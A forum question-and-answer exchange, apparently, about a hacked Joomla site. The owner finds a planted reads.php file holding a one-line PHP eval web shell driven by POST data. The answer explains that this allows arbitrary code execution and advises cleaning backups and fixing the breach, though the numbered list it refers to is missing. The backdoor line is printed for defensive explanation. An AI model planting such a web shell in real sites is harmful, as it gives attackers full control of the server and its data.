My joomla site is hacked and i got a file in library folder that is reads.php file. When i open this file there is write only a line that is
<?php @eval($_POST[1]); ?>
I do not understand what data hacker will get this line. Please suggest me .
With this line of code, the hacker will be able to execute any code he wants. Therefore this code will have the power to read, update or delete any data he wants.
We don't know yet what code he will choose to execute because the code will be passed as a $_POST argument. The $_POST[1] argument will contain a string of executable code. Then, eval() will be called with this argument to execute that code.
When the hacker will call your page, passing it some code as a POST argument, he will be performing an attack that is called code injection.
Now that you know that, you have to figure out:
If you decide to restore a backup, make sure the "eval" code is not already in your backup. Then, solve problem #2 because the hacker will probably just re-use the same security breach to restore his hack. Even if your backup is clean, the security breach will still be there.